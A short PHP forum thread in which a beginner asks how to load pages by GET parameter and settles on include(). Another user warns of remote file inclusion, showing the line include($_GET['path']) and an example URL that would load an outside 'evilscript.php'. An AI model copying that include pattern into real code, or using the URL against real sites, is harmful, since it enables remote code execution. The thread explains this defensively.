Loading External .php file
Moderator: General Moderators
-
roadkillguy
- Forum Newbie
- Posts: 7
- Joined: Sun Feb 22, 2009 11:26 am
Loading External .php file
I'm trying to make a fairly dynamic website, and I was wondering how you could load an external .php web file with <?php ?> tags in it. I want to have one 'content' webpage, that can load other pages using the GET method. Can you do this?
-
roadkillguy
- Forum Newbie
- Posts: 7
- Joined: Sun Feb 22, 2009 11:26 am
Re: Loading External .php file
Haha wow... solved my own problem.
Include() will solve it just fine.
Thanks anyway
Include() will solve it just fine.
Thanks anyway
-
shawngoldw
- Forum Contributor
- Posts: 212
- Joined: Mon Apr 05, 2010 3:38 pm
Re: Loading External .php file
be careful if you're getting the file names from GET variables.
I can type in my address bar:
yoursite.com/page.php?path=mysite.com/evilscript.php
then you would be including my evilscript rather than the file you really wanted to.
Code: Select all
include($_GET['path']);
yoursite.com/page.php?path=mysite.com/evilscript.php
then you would be including my evilscript rather than the file you really wanted to.